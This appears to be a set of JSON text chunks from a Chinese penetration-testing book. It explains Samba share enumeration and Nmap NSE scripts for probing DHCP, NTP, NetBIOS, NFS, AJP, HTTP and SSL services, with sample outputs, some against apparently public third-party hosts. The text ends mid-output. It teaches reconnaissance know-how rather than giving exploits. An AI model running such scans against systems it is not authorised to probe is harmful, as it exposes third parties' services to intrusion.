从以上输出信息中可以看到目标SMB中共享的文件。其中，Sharename表示共享文件名、Type表示硬盘类型、Comment是共享文件的描述。从以上的Comment列可以看到共享的IPC服务版本为Samba 4.9.2-Debian。由此可以说明，该目标主机的操作系统类型为Linux。如果目标主机的操作系统是Windows的话，则文件名列将显示共享文件夹的盘符。具体如下： root@daxueba:~# smbclient -L 192.168.19.131 -U Test Enter WORKGROUP\\Test's password: Sharename Type Comment --------- ---- ------- ADMIN$ Disk 远程管理 C$ Disk 默认共享 E$ Disk 默认共享 IPC$ IPC 远程 IPC share Disk Users Disk Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- 从以上输出结果的文件名中可以看到，默认共享的磁盘有C和E盘。只有在Windows系统中，文件夹才是以盘符形式来划分磁盘的。由此可以判断出，该目标主机的操作系统类型为Windows。 未知 6.5.4 判断磁盘类型 下面同样通过分析目标SMB服务的共享文件夹信息，来判断共享的磁盘类型。具体如下： root@daxueba:~# smbclient -L 192.168.19.130 -U root Enter WORKGROUP\\root's password: Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers share Disk Share folder IPC$ IPC IPC Service (Samba 4.9.2-Debian) Reconnecting with SMB1 for workgroup listing. Server Comment --------- ------- Workgroup Master --------- ------- 从以上输出的信息中可以看到，Type列有两种值，分别是Disk和IPC。其中，Disk表示硬盘；IPC表示命名管道。由此可以说明，share共享文件是硬盘中的一个文件。"},
    {"text": "未知 第7章 常见服务扫描策略 前面章节讲解了通用扫描方式。如果已经获取了目标部分信息，则可以根据已有信息进行相应猜测，比如可能存在的服务等。这时，就需要有针对性地进行验证，从而确认服务是否存在，以及服务的相关信息。本章将讲解一些常见服务的扫描策略。 未知 7.1 网络基础服务 网络基础服务是指连接到网络需要的基本服务，如DHCP、NTP和NetBIOS等。本节将介绍对这些网络基础服务实施扫描的方法。 未知 7.1.1 DHCP服务 DHCP是基于UDP协议工作的服务，该服务工作于UDP的67和68号端口。其中，UDP 67号端口作为DHCP客户端广播请求，UDP 68号端口作为DHCP服务器回应广播请求。我们可以借助Nmap的broadcast-dhcp-discover.nse和dhcp-discover.nse脚本来实施DHCP服务扫描。下面介绍使用这两个脚本实施DHCP服务扫描的方法。 1．使用broadcast-dhcp-discover.nse脚本 broadcast-dhcp-discover.nse脚本通过向广播地址（255.255.255.255）发送一个DHCP请求，来寻找提供DHCP服务的主机。该脚本在执行操作时，使用静态MAC地址（de:ad:c0:de:ca:fe），以防止IP地址耗尽。使用该脚本实施DHCP扫描的语法格式如下： nmap --script=broadcast-dhcp-discover.nse 提示： 在Nmap的脚本中，使用--script选项来指定其脚本或某类脚本，--script和脚本之间的等于号（=）可以省略。另外，如果使用的扫描脚本提供有参数的话，则使用--script-args选项指定，格式为--script-args=<n1=v1>,[n2=v2,…]。例如，如果指定新的目标主机，则格式为--script-args=newtargets=IP。 【实例7-1】使用broadcast-dhcp-discover.nse脚本实施DHCP服务扫描。执行命令如下： root@daxueba:~# nmap --script broadcast-dhcp-discover Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-30 18:30 CST Pre-scan script results: | broadcast-dhcp-discover: | Response 1 of 1: | IP Offered: 192.168.33.156 #提供的IP地址 | DHCP Message Type: DHCPOFFER #DHCP消息类型 | Server Identifier: 192.168.33.254 #服务器标识符 | IP Address Lease Time: 30m00s #IP地址释放时间 | Subnet Mask: 255.255.255.0 #子网掩码 | Router: 192.168.33.2 #路由地址 | Domain Name Server: 192.168.33.2 #域名服务 | Domain Name: localdomain #域名 | Broadcast Address: 192.168.33.255 #广播地址 | NetBIOS Name Server: 192.168.33.2 #NetBIOS名称服务 | Renewal Time Value: 15m00s #更新时间值 |_ Rebinding Time Value: 26m15s #第二次选择时间值 WARNING: No targets were specified, so 0 hosts scanned. Nmap done: 0 IP addresses (0 hosts up) scanned in 1.32 seconds 从以上输出信息中可以看到，本地网络的DHCP服务器IP地址为192.168.33.156。 2．使用dhcp-discover.nse脚本 dhcp-discover.nse脚本用来向目标主机发送一个DHCP INFORM请求到主机的UDP 67号端口，来获取所有本地配置参数。其中，DHCPINFORM是一种从DHCP服务器返回有用信息而不分配IP地址的DHCP请求。使用该脚本实施DHCP扫描的语法格式如下： nmap -sU -p [port] --script=dhcp-discover [target] 以上语法中的选项及含义如下。 ·-sU：实施UDP端口扫描。Nmap工具默认将扫描TCP端口。所以，如果要扫描UDP端口，则必须指定该选项。 ·-p：指定扫描的端口，默认是67。 【实例7-2】使用dhcp-discover.nse脚本实施DHCP扫描。执行命令如下： root@daxueba:~# nmap -sU -p 67 --script=dhcp-discover 192.168.1.1 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 11:03 CST Nmap scan report for 192.168.1.1 (192.168.1.1) Host is up (0.00092s latency). PORT STATE SERVICE 67/udp open dhcps | dhcp-discover: | DHCP Message Type: DHCPACK #DHCP消息类型 | Subnet Mask: 255.255.255.0 #子网掩码 | Router: 192.168.1.1 #路由 | Domain Name Server: 192.168.1.1 #域名服务器（DNS） |_ Server Identifier: 192.168.1.1 #服务器标识 MAC Address: 70:85:40:53:E0:35 (Unknown) #MAC地址 Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds 从输出的信息中可以看到，目标主机开放了UDP的67号端口。而且，还可以看到本地的配置参数。例如，子网掩码为255.255.255.0，路由地址为192.168.1.1，DNS服务器的地址为192.168.1.1等。"},
    {"text": "未知 7.1.2 Daytime服务 Daytime服务是基于TCP的应用。该服务在TCP端口13侦听，一旦有连接建立就返回ASCII形式的日期和时间，在传送完后关闭连接，而服务接收到的数据则被忽略。Daytime服务也可以使用UDP协议，端口也是13，不过UDP是用数据报传送当前时间的，接收到的数据同样会被忽略。我们可以借助Nmap的daytime脚本对Daytime服务进行扫描，语法格式如下： nmap -sV-p 13 --script=daytime <target> 【实例7-3】使用daytime脚本实施Daytime服务扫描。执行命令如下： root@daxueba:~# nmap -p 13 --script=daytime 195.223.72.174 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 12:10 CST Nmap scan report for 195.223.72.174 Host is up (0.37s latency). PORT STATE SERVICE 13/tcp open daytime |_daytime: 07 JAN 2019 05:11:26 CET\\x0D #获取的时间 Nmap done: 1 IP address (1 host up) scanned in 10.31 seconds 从以上输出信息中可以看到，从Daytime服务上获取的时间为07 JAN 2019 05:11:26 CET\\x0D。 未知 7.1.3 NTP服务 NTP服务是基于UDP协议的服务，该服务默认监听的端口为123。我们可以借助Nmap的ntp-info.nse脚本来实施NTP服务扫描。下面介绍具体的扫描方法。 ntp-info.nse脚本用来获取时间和配置信息。该脚本用来实施扫描的语法格式如下： nmap -sU -p 123 --script=ntp-info <target> 【实例7-4】使用ntp-info.nse脚本对NTP服务实施扫描。执行命令如下： root@daxueba:~# nmap -sU -p 123 --script=ntp-info 1.179.1.151 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 12:14 CST Nmap scan report for 1.179.1.151 Host is up (0.30s latency). PORT STATE SERVICE 123/udp open ntp | ntp-info: |_ receive time stamp: 2000-05-11T05:11:10 Nmap done: 1 IP address (1 host up) scanned in 12.24 seconds 从输出的信息中可以看到，通过ntp-info.nse脚本成功获取到了目标NTP服务的时间，该时间为2000-05-11T05:11:10。 未知 7.1.4 LLTD服务 LLTD（Link Layer Topology Discovery，链路层拓扑结构发现）作为Windows Rally技术的关键部分，主要完成网络设备的发现和网络拓扑结构图的绘制。我们可以借助Nmap的lltd-discovery脚本来实施扫描。lltd-discovery脚本通过使用Microsoft LLTD协议，来发现本地网络中活动的主机。使用该脚本实施扫描的语法格式如下： nmap --script=lltd-discovery [--script-args=lltd-discovery.interface= interface,newtargets=IP] 以上语法中的参数及含义如下： ·lltd-discovery.interface：指定用于LLTD发现的接口。 ·newtargets：指定一个新的扫描目标。 【实例7-5】使用LLTD协议来探测网络中活动的主机，并指定一个新的目标实施扫描。执行命令如下： root@daxueba:~# nmap --script lltd-discovery --script-args=lltd-discovery. interface=eth0,newtargets=192.168.1.5 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 18:31 CST Pre-scan script results: | lltd-discovery: | 192.168.1.5 #IP地址 | Hostname: Test-PC #主机名 | Mac: 00:0c:29:21:8c:96 (VMware) #MAC地址 |_ IPv6: fe80::54b4:f48a:4804:2df0 #IPv6地址 Nmap scan report for test-pc (192.168.1.5) Host is up (0.0011s latency). Not shown: 981 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 902/tcp open iss-realsecure 912/tcp open apex-mesh 1433/tcp open ms-sql-s 2383/tcp open ms-olap4 3389/tcp open ms-wbt-server 5357/tcp open wsdapi 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49157/tcp open unknown 49158/tcp open unknown MAC Address: 00:0C:29:21:8C:96 (VMware) Nmap done: 1 IP address (1 host up) scanned in 9.97 seconds 从输出的信息中可以看到，使用LLTD协议扫描到活动的主机地址为192.168.1.5，并且显示了该主机中开放的所有端口。"},
    {"text": "未知 7.1.5 NetBIOS服务 NetBIOS协议是由IBM公司开发，主要用于数十台计算机的小型局域网。NetBIOS协议监听137（netbios-ns）、138（netbios-dgm）和139（netbios-ssn）3个端口。其中，UDP端口137用来提供NetBIOS名称解析服务，负责将短名字解析为IP地址；UDP端口138用于用户数据报服务，主要作用就是提供NetBIOS环境下的计算机名浏览功能；TCP的139端口则提供会话服务，在有打印和文件共享数据传输的时候发挥作用，即传输控制协议。我们可以借助Nmap的nbstat脚本来实施NetBIOS服务扫描。 nbstat脚本用来接收目标主机的NetBIOS名称和MAC地址。使用该脚本实施NetBIOS扫描的语法格式如下： nmap -sU --script=nbstat.nse -p137 <host> 或者： nmap --script=nbstat.nse -p139 <host> 【实例7-6】实施NetBIOS服务扫描。执行命令如下： root@daxueba:~# nmap -sU -p 137 --script=nbstat.nse 192.168.1.5 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 14:43 CST Nmap scan report for test-pc (192.168.1.5) Host is up (0.00046s latency). PORT STATE SERVICE 137/udp open netbios-ns MAC Address: 00:0C:29:21:8C:96 (VMware) Host script results: |_nbstat: NetBIOS name: TEST-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:21:8c:96 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.96 seconds 从输出信息中可以看到，目标主机上开放了NetBIOS服务。而且，从扫描结果中可以看到目标主机的NetBIOS名称、用户和MAC地址信息。 未知 7.2 文件共享服务 文件共享是指主动在网络上共享自己的计算机文件，最常见的文件共享服务有AFP和NFS等。本节将介绍对文件共享服务实施扫描的方法。 未知 7.2.1 苹果AFP服务 AFP服务是基于TCP协议工作的，其工作在TCP的548端口。我们可以借助Nmap的afp-serverinfo脚本来获取对应的服务信息。获取的信息包括服务器的主机名、IPv4和IPv6地址及硬件类型。使用该脚本的语法格式如下： nmap -sV --script=afp-serverinfo.nse <target> [--script-args=afp.password= password,afp.username=username] 该脚本可使用的参数及含义如下。 ·afp.password：指定AFP服务认证的密码。 ·afp.username：指定AFP服务认证的用户名。 【实例7-7】实施AFP服务扫描。执行命令如下： root@daxueba:~# nmap -sV -p548 --script=afp-serverinfo.nse 208.83.1.237 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 14:57 CST Nmap scan report for 208.83.1.237 Host is up (0.32s latency). PORT STATE SERVICE VERSION 548/tcp open afp Apple AFP (name: training-mac; protocol 3.4; VMware 7.1) | afp-serverinfo: | Server Flags: #服务标志 | Flags hex: 0x9ff3 #十六进制值 | Super Client: true #超级客户端 | UUIDs: true #UUID | UTF8 Server Name: true #UTF-8服务名 | Open Directory: true #打开的目录 | Reconnect: true #重新连接 | Server Notifications: true #服务通知 | TCP/IP: true #TCP/IP | Server Signature: true #服务签名 | Server Messages: false #服务消息 | Password Saving Prohibited: false #禁止保存密码 | Password Changing: true #修改密码 | Copy File: true #复制文件 | Server Name: training-mac #服务名 | Machine Type: VMware7,1 #主机类型 | AFP Versions: AFP3.4, AFP3.3, AFP3.2, AFP3.1, AFPX03 #AFP版本 | UAMs: DHCAST128, DHX2, Recon1, Client Krb v2, GSS #安全策略 | Server Signature: 564d26a7799b0b7776d7ac94e7314059 #服务签名 | Directory Names: #目录名称 | afpserver/training-mac.local@LOCAL |_ UTF8 Server Name: training-mac #UTF-8服务名 Service Info: OS: Mac OS X; CPE: cpe:/o:apple:mac_os_x Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 29.38 seconds 从输出信息中可以看到获取到AFP服务的相关信息。例如，服务名为training-mac、主机类型为VMware7,1、AFP版本为AFP 3.4、AFP 3.3、AFP 3.2、AFP 3.1和AFP X03等。"},
    {"text": "未知 7.2.2 苹果DAAP服务 DAAP服务是基于TCP协议工作的服务，其工作在TCP的3689端口。我们可以借助daap-get-library.nse脚本来实施扫描，该脚本通过从DAAP服务中获取音乐列表，该列表包括艺人名字、专辑和歌曲标题。使用该脚本实施DAAP服务扫描的语法格式如下： nmap -p 3689 --script=daap-get-library <target> [--script-args=daap_item_ limit=number] 其中，daap_item_limit用于设置输出的歌曲数，默认是100。 【实例7-8】实施苹果DAAP服务扫描。执行命令如下： root@daxueba:~# nmap -p 3689 --script=daap-get-library.nse 182.245.41.110 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 15:06 CST Nmap scan report for 182.245.41.110 Host is up (0.090s latency). PORT STATE SERVICE 3689/tcp open rendezvous | daap-get-library: | Abby-cloud-ex2 | unknown | unknown | \\xE7\\x90\\xB4\\xE9\\x9F\\xB5\\xE8\\x8C\\xB6\\xE5\\xBF\\x83\\xE8\\x83\\x8C\\ xE6\\x99\\xAF\\xE9\\x9F\\xB3\\xE4\\xB9\\x901.mp3 #歌曲名 | \\xE7\\x90\\xB4\\xE9\\x9F\\xB5\\xE8\\x8C\\xB6\\xE5\\xBF\\x83\\xE8\\x83\\x8C\\xE6\\ x99\\xAF\\xE9\\x9F\\xB3\\xE4\\xB9\\x9011\\xE5\\x88\\x86.mp3 #歌曲名 | \\xE7\\x8E\\x8B\\xE8\\x8F\\xB2 | \\xE5\\xB9\\xBD\\xE5\\x85\\xB0\\xE6\\x93\\x8D | \\xE5\\xB9\\xBD\\xE5\\x85\\xB0\\xE6\\x93\\x8D | | |_Output limited to 100 items Nmap done: 1 IP address (1 host up) scanned in 8.23 seconds 从输出信息中可以看到目标主机上开启的DAAP服务，并且成功获取到了其音乐列表。 未知 7.2.3 NFS服务 NFS服务是基于TCP协议工作的服务，其工作在TCP的111端口。可以借助nfs-ls、nfs-showmount和nfs-statfs这3个脚本实施扫描，以获取该服务的相关信息。下面介绍使用这3个脚本扫描NFS服务的方法。 1．使用nfs-ls.nse脚本 nfs-ls.nse脚本用于获取NFS服务中共享的文件列表。语法格式如下： nmap -p 111 --script=nfs-ls.nse <target> 【实例7-9】使用nfs-ls.nse脚本实施扫描。执行命令如下： root@daxueba:~# nmap -p 111 --script=nfs-ls.nse 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 15:13 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00040s latency). PORT STATE SERVICE 111/tcp open rpcbind | nfs-ls: Volume / | access: Read Lookup Modify Extend Delete NoExecute | PERMISSION UID GID SIZE TIME FILENAME | drwxr-xr-x 0 0 4096 2012-05-14T03:35:33 bin | drwxr-xr-x 0 0 4096 2010-04-16T06:16:02 home | drwxr-xr-x 0 0 4096 2010-03-16T22:57:40 initrd | lrwxrwxrwx 0 0 32 2010-04-28T20:26:18 initrd.img | drwxr-xr-x 0 0 4096 2012-05-14T03:35:22 lib | drwx------ 0 0 16384 2010-03-16T22:55:15 lost+found | drwxr-xr-x 0 0 4096 2010-03-16T22:55:52 media | drwxr-xr-x 0 0 4096 2010-04-28T20:16:56 mnt | drwxr-xr-x 0 0 4096 2012-05-14T01:54:53 sbin | drwxr-xr-x 0 0 4096 2010-04-28T04:06:37 usr |_ MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds 从输出信息中可以看到，目标主机开放了NFS服务，并且显示出了共享的文件。在输出的结果中，显示出了共享文件的权限（PERMISSION）、UID（用户ID）、GID（组ID）、SIZE（文件大小）、TIME（时间）和文件名（FILENAME）6列信息。 2．使用nfs-showmount.nse脚本 nfs-showmount.nse脚本用来显示NFS共享目录。语法格式如下： nmap -p 111 --script=nfs-showmount [host] 【实例7-10】使用nfs-showmount.nse脚本扫描NFS共享目录。执行命令如下： root@daxueba:~# nmap -p 111 --script=nfs-showmount.nse 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 15:16 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00026s latency). PORT STATE SERVICE 111/tcp open rpcbind | nfs-showmount: |_ / * MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds 从输出信息中可以看到，目标主机上NFS服务共享的目录为根目录（/）。 未知 7.3 Web服务 Web服务一般指网站服务器，是指驻留于因特网上某种类型计算机的程序，可以向浏览器等Web客户端提供文件，也可以放置网站文件和数据文件，让用户浏览和下载。其中，最常见的Web服务有AJP和ASP.NET等。本节将介绍对这些Web服务进行扫描的方法。"},
    {"text": "未知 7.3.1 AJP服务 AJP服务是基于TCP协议工作的服务，其工作在TCP的8009端口。我们可以借助Nmap的一些脚本来实施AJP服务扫描。下面介绍使用这些脚本实施AJP服务扫描的方法。 1．使用ajp-auth.nse脚本 ajp-auth.nse脚本用来获取AJP服务的认证摘要信息。语法格式如下： nmap -p 8009 <ip> --script ajp-auth [--script-args=ajp-auth.path=/login] 其中，ajp-auth.path参数用于定义请求的路径。 2．使用ajp-headers.nse脚本 ajp-headers.nse脚本通过执行一个HEAD或GET请求，来获取服务器响应的头部。语法格式如下： nmap -p 8009 <ip> --script=ajp-headers [--script-args=ajp-headers.path=path] 其中，ajp-headers.path参数用于指定请求的路径，如/index.php。默认请求的路径为“/”。 【实例7-11】使用ajp-headers.nse脚本获取服务器响应的头部信息。执行命令如下： root@daxueba:~# nmap -p 8009 --script ajp-headers 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 16:57 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00034s latency). PORT STATE SERVICE 8009/tcp open ajp13 | ajp-headers: |_ Content-Type: text/html;charset=ISO-8859-1 MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds 从输出信息中可以看到获取到目标服务响应的头部信息。 3．使用ajp-methods.nse脚本 ajp-methods.nse脚本通过发送一个OPTIONS请求和存在风险方法的列表，来获取目标AJP服务支持的方法。语法格式如下： nmap -p 8009 <ip> --script ajp-methods [--script-args=ajp-methods.path=path] 其中，ajp-methods.path参数用于指定检测的路径或/。 【实例7-12】获取目标AJP服务支持的方法。执行命令如下： root@daxueba:~# nmap -p 8009 --script=ajp-methods 86.49.174.2 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-10 10:50 CST Nmap scan report for 2.174.49.86.in-addr.arpa (86.49.174.2) Host is up (0.25s latency). PORT STATE SERVICE 8009/tcp open ajp13 | ajp-methods: | Supported methods: GET HEAD POST PUT DELETE TRACE OPTIONS #支持的方法 | Potentially risky methods: PUT DELETE TRACE #存在风险的方法 |_ See https://nmap.org/nsedoc/scripts/ajp-methods.html Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds 从输出信息中可以看到，目标主机上开放了AJP服务，并且显示了该服务支持的方法，如GET、HEAD、POST、PUT和DELETE等。 4．使用ajp-request.nse脚本 ajp-request.nse脚本用来获取请求的URI详细信息。语法格式如下： nmap -p 8009 <ip> --script ajp-request [--script-args=username=username, path=path,filename=filename,password=password,method=method] ajp-request.nse脚本可使用的参数及含义如下。 ·username：指定访问资源的用户名。 ·path：指定请求的URI路径。 ·filename：指定输出结果的文件名。 ·password：指定访问资源的密码。 ·method：指定请求URI的方法，默认是GET。 【实例7-13】获取请求的URI详细信息。执行命令如下： root@daxueba:~# nmap -p 8009 --script ajp-request 192.168.1.6 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-07 16:58 CST Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00023s latency). PORT STATE SERVICE 8009/tcp open ajp13 | ajp-request: | AJP/1.3 200 OK | Content-Type: text/html;charset=ISO-8859-1 | | iguring and using Tomcat</li> | <li><b><a href=\"mailto:dev@tomcat.apache.org\">dev@tomcat. apache.org</a></b> for developers working on Tomcat</li> | </ul> | | <p>Thanks for using Tomcat!</p> | | <p id=\"footer\"><img src=\"tomcat-power.gif\" width=\"77\" height= \"80\" alt=\"Powered by Tomcat\"/><br/> | &nbsp; | | Copyright &copy; 1999-2005 Apache Software Foundation<br/> | All Rights Reserved | </p> | </td> | | </tr> | </table> | | </body> |_</html> MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds 从以上输出信息中可以看到，通过使用ajp-request.nse脚本成功获取到了目标AJP服务请求的UIR详细信息。"},
    {"text": "未知 7.3.2 ASP.NET服务 ASP.NET是一个开发框架，用于通过HTML、CSS、JavaScript及服务器脚本来构建网页和网站。我们可以借助Nmap的http-aspnet-debug脚本来实施扫描。http-aspnet-debug脚本通过使用HTTP DEBUG请求，来判断ASP.NET应用程序是否启用了Debug功能。语法格式如下： nmap --script http-aspnet-debug <target> [--script-args=http-aspnet-debug. path=path] 其中，http-aspnet-debug.path参数用于指定URI的路径，默认是“/”。 【实例7-14】扫描目标主机，以确认是否启用了Debug功能。执行命令如下： root@daxueba:~# nmap -p 80 --script=http-aspnet-debug 51.254.122.180 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 10:14 CST Nmap scan report for 180.ip-51-254-122.eu (51.254.122.180) Host is up (0.37s latency). PORT STATE SERVICE 80/tcp open http | http-aspnet-debug: |_ status: DEBUG is enabled #状态 Nmap done: 1 IP address (1 host up) scanned in 2.27 seconds 从输出信息中可以看到，目标服务器上启用了Debug功能。 未知 7.3.3 HTTP认证服务 HTTP服务是基于TCP协议工作的，其工作在TCP的80端口。我们可以借助http-auth脚本对HTTP服务实施扫描。http-auth脚本可以用来获取HTTP服务认证信息。语法格式如下： nmap --script http-auth [--script-args=http-auth.path=/login] -p80 <host> 其中，http-auth.path参数用于指定请求的路径。 【实例7-15】获取HTTP服务的认证信息。执行命令如下： root@daxueba:~# nmap --script http-auth -p 80 80.88.126.226 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-10 11:06 CST Nmap scan report for 80.88.126.226 Host is up (0.35s latency). PORT STATE SERVICE 80/tcp open http | http-auth: | HTTP/1.1 401 Unauthorized\\x0D | Negotiate |_ NTLM 从以上输出信息中可以看到，目标主机上开放了HTTP服务，启用的认证方式有Negotiate和NTLM。"},
    {"text": "未知 7.3.4 SSL服务 SSL（Secure Sockets Layer，安全套接层）及其继任者传输层安全（Transport Layer Security，TLS）是为网络通信提供安全及数据完整性的一种安全协议。"},
    {"text": "1．使用ssl-cert脚本 ssl-cert脚本用来获取SSL服务的认证信息。 语法格式如下： nmap --script=ssl-cert -p 443 <host> 【实例7-16】使用ssl-cert脚本来获取SSL服务的认证信息。"},
    {"text": "执行命令如下： root@daxueba:~# nmap --script=ssl-cert -p 443 www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:07 CST Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.023s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.121 PORT STATE SERVICE 443/tcp open https | ssl-cert: Subject: commonName=baidu.com/organizationName=Beijing Baidu Netcom Science Technology Co., Ltd/stateOrProvinceName=beijing/countryName=CN | Subject Alternative Name: DNS:baidu.com, DNS:baifubao.com, DNS:www.baidu. cn, DNS:www.baidu.com.cn, DNS:mct.y.nuomi.com, DNS:baifae.com, DNS:apollo. auto, DNS:*.baidu.com, DNS:*.baifubao.com, DNS:*.baidustatic.com, DNS:*. bdstatic.com, DNS:*.bdimg.com, DNS:*.hao123.com, DNS:*.nuomi.com, DNS:*. chuanke.com, DNS:*.trustgo.com, DNS:*.bce.baidu.com, DNS:*.eyun.baidu. com, DNS:*.map.baidu.com, DNS:*.mbd.baidu.com, DNS:*.fanyi.baidu.com, DNS:*.baidubce.com, DNS:*.mipcdn.com, DNS:*.news.baidu.com, DNS:*.baidupcs. com, DNS:*.aipage.com, DNS:*.aipage.cn, DNS:*.bcehost.com, DNS:*.safe.baidu. com, DNS:*.im.baidu.com, DNS:*.ssl2.duapps.com, DNS:*.baifae.com, DNS:*. baiducontent.com, DNS:*.dlnel.com, DNS:*.dlnel.org, DNS:*.dueros.baidu. com, DNS:*.su.baidu.com, DNS:*.91.com, DNS:*.hao123.baidu.com, DNS:*. apollo.auto, DNS:*.xueshu.baidu.com, DNS:*.bj.baidubce.com, DNS:*.gz. baidubce.com, DNS:click.hm.baidu.com, DNS:log.hm.baidu.com, DNS:cm.pos. baidu.com, DNS:wn.pos.baidu.com, DNS:update.pan.baidu.com | Issuer: commonName=GlobalSign Organization Validation CA - SHA256 – G2/organizationName=GlobalSign nv-sa/countryName=BE | Public Key type: rsa #公钥类型 | Public Key bits: 2048 #公钥字节 | Signature Algorithm: sha256WithRSAEncryption #签名算法 | Not valid before: 2018-04-03T03:26:03 #有效时间之前 | Not valid after: 2019-05-26T05:31:02 #有效时间之后 | MD5: fd63 96dc 4e9f 1ea9 1651 d687 734d 3976 #MD5值 |_SHA-1: d6aa f8cf a0e0 2365 47fc 2a89 4f89 5ec9 4724 a60d #SHA-1值 Nmap done: 1 IP address (1 host up) scanned in 0.95 seconds 从输出信息中可以看到目标主机上SSL服务的认证信息。"},
    {"text": "2．使用ssl-date脚本 ssl-date脚本用来获取目标主机的日期和时间。 语法格式如下： nmap --script=ssl-date -p 443 <target> 【实例7-17】使用ssl-date脚本来获取目标主机的信息。 执行命令如下： root@daxueba:~# nmap --script=ssl-date -p 443 www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:07 CST Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.024s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.121 PORT STATE SERVICE 443/tcp open https |_ssl-date: 2019-01-08T08:07:40+00:00; 0s from scanner time. Nmap done: 1 IP address (1 host up) scanned in 1.14 seconds 从以上输出信息中可以看到，使用ssl-date脚本成功获取到了目标主机的日期和时间。"},
    {"text": "语法格式如下： nmap --script=ssl-dh-params -p 443 <target> 【实例7-18】使用ssl-dh-params脚本对SSL服务实施扫描。 执行命令如下： root@daxueba:~# nmap --script=ssl-dh-params -p 443 194.4.240.95 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-09 15:55 CST Nmap scan report for 194.4.240.95 Host is up (0.22s latency). PORT STATE SERVICE 443/tcp open https | ssl-dh-params: | VULNERABLE: | Transport Layer Security (TLS) Protocol DHE_EXPORT Ciphers Downgrade MitM (Logjam) | State: VULNERABLE | IDs: CVE:CVE-2015-4000 OSVDB:122331 | The Transport Layer Security (TLS) protocol contains a flaw that is | triggered when handling Diffie-Hellman key exchanges defined with | the DHE_EXPORT cipher. This may allow a man-in-the-middle attacker | to downgrade the security of a TLS session to 512-bit export-grade | cryptography, which is significantly weaker, allowing the attacker | to more easily break the encryption and monitor or tamper with | the encrypted stream. | Disclosure date: 2015-5-19 | Check results: | EXPORT-GRADE DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA | Modulus Type: Safe prime | Modulus Source: mod_ssl 2.2.x/512-bit MODP group with safe prime modulus | Modulus Length: 512 | Generator Length: 8 | Public Key Length: 512 | References: | http://osvdb.org/122331 | https://weakdh.org | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-4000 | | Diffie-Hellman Key Exchange Insufficient Group Strength | State: VULNERABLE | Transport Layer Security (TLS) services that use Diffie-Hellman groups | of insufficient strength, especially those using one of a few commonly | shared groups, may be susceptible to passive eavesdropping attacks. | Check results: | WEAK DH GROUP 1 | Cipher Suite: TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA | Modulus Type: Safe prime | Modulus Source: mod_ssl 2.2.x/1024-bit MODP group with safe prime modulus | Modulus Length: 1024 | Generator Length: 8 | Public Key Length: 1024 | References: |_ https://weakdh.org Nmap done: 1 IP address (1 host up) scanned in 8.44 seconds 从以上输出信息中可以看到，使用ssl-dh-params脚本成功获取到了目标服务的Diffie-Hellman参数信息。"},
    {"text": "4．使用ssl-enum-ciphers脚本 ssl-enum-ciphers脚本用来枚举目标主机的加密方式。 语法格式如下： nmap --script=ssl-enum-ciphers -p 443 <target> 【实例7-19】使用ssl-enum-ciphers脚本枚举目标主机的加密方式。"},
    {"text": "执行命令如下： root@daxueba:~# nmap --script=ssl-enum-ciphers -p 443 www.baidu.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-08 16:20 CST Nmap scan report for www.baidu.com (61.135.169.125) Host is up (0.020s latency). Other addresses for www.baidu.com (not scanned): 61.135.169.121 PORT STATE SERVICE 443/tcp open https | ssl-enum-ciphers: | SSLv3: | ciphers: | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C | compressors: | NULL | cipher preference: indeterminate | cipher preference error: Too few ciphers supported | warnings: | Broken cipher RC4 is deprecated by RFC 7465 | TLSv1.0: | ciphers: | TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A | TLS_RSA_WITH_AES_256_CBC_SHA (rsa 2048) - A | TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C | 